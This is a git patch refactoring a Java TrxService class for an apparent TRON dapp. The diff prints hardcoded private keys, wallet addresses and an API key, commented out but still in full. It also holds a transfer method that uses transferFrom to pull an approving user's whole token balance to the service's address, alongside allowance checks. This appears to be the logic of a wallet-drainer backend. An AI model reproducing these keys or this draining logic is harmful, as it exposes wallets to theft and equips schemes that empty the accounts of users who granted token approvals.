From ff7ea7eab365cacc11700f1e4cb92f3b657e140d Mon Sep 17 00:00:00 2001 From: KKSU <15274802129@163.com> Date: Fri, 05 Jul 2024 16:45:25 +0800 Subject: [PATCH] 逻辑 --- src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | 99 +++++++++++++++++++++++++++++++++++++++---------- 1 files changed, 78 insertions(+), 21 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java index 3f8db3d..ecc52e6 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java @@ -1,7 +1,6 @@ package cc.mrbird.febs.dapp.chain; -import cc.mrbird.febs.common.contants.AppContants; -import cn.hutool.core.util.StrUtil; +import cc.mrbird.febs.dapp.dto.BatchTransferDto; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; @@ -9,44 +8,65 @@ import java.math.BigDecimal; import java.math.BigInteger; import java.math.RoundingMode; +import java.util.List; /** * * 查询是否有多个授权 * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD * - * @author wzy + * @author * @date 2022-03-21 **/ -public class TrxService { +public class TrxService implements ContractChainService { - private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; - private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; +// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; +// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; - private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; - private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; + private final String ADDRESS; +// private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; +// private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; +// +// private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; +// private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; private Trc20Contract contract = null; - public static TrxService INSTANCE = new TrxService(); +// public static TrxService INSTANCE = new TrxService(); - public TrxService() { - ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY); +// public TrxService() { +// ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY); +// +// Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS); +// contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); +// } - Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS); - contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); + public TrxService(String address, String privateKey, String contractAddress, String apiKey) { + this.ADDRESS = address; + ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey); + + Contract trc20Contract = wrapper.getContract(contractAddress); + contract = new Trc20Contract(trc20Contract, address, wrapper); } + @Override public BigInteger allowance(String owner) { return contract.allowance(owner, ADDRESS); } - public BigInteger balanceOf(String address) { + @Override + public boolean isAllowance(String address) { + return allowance(address).intValue() != 0; + } + + @Override + public BigInteger balanceOfUnDecimal(String address) { return contract.balanceOf(address); } - public BigDecimal balanceOfDecimal(String address) { - BigInteger chainData = balanceOf(address); + @Override + public BigDecimal balanceOf(String address) { + BigInteger chainData = balanceOfUnDecimal(address); BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -54,12 +74,19 @@ return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); } - public void transfer(String address) { - BigInteger balance = balanceOf(address); - - contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); + @Override + public int decimals() { + return 0; } + @Override + public String transfer(String address) { + BigInteger balance = balanceOfUnDecimal(address); + + return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); + } + + @Override public String transfer(String address, BigDecimal amount) { BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -68,7 +95,37 @@ return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); } + @Override + public int allowanceCnt(String address) { + return 0; + } + public static void main(String[] args) { - System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; +// System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; + } + + @Override + public BigInteger blockNumber() { + return null; + } + + @Override + public BigInteger totalSupply() { + return null; + } + + @Override + public BigInteger totalSupplyNFT() { + return null; + } + + @Override + public String safeMintNFT(String address) { + return null; + } + + @Override + public void transferList(List<BatchTransferDto> batchTransferDtos) { + } } -- Gitblit v1.9.1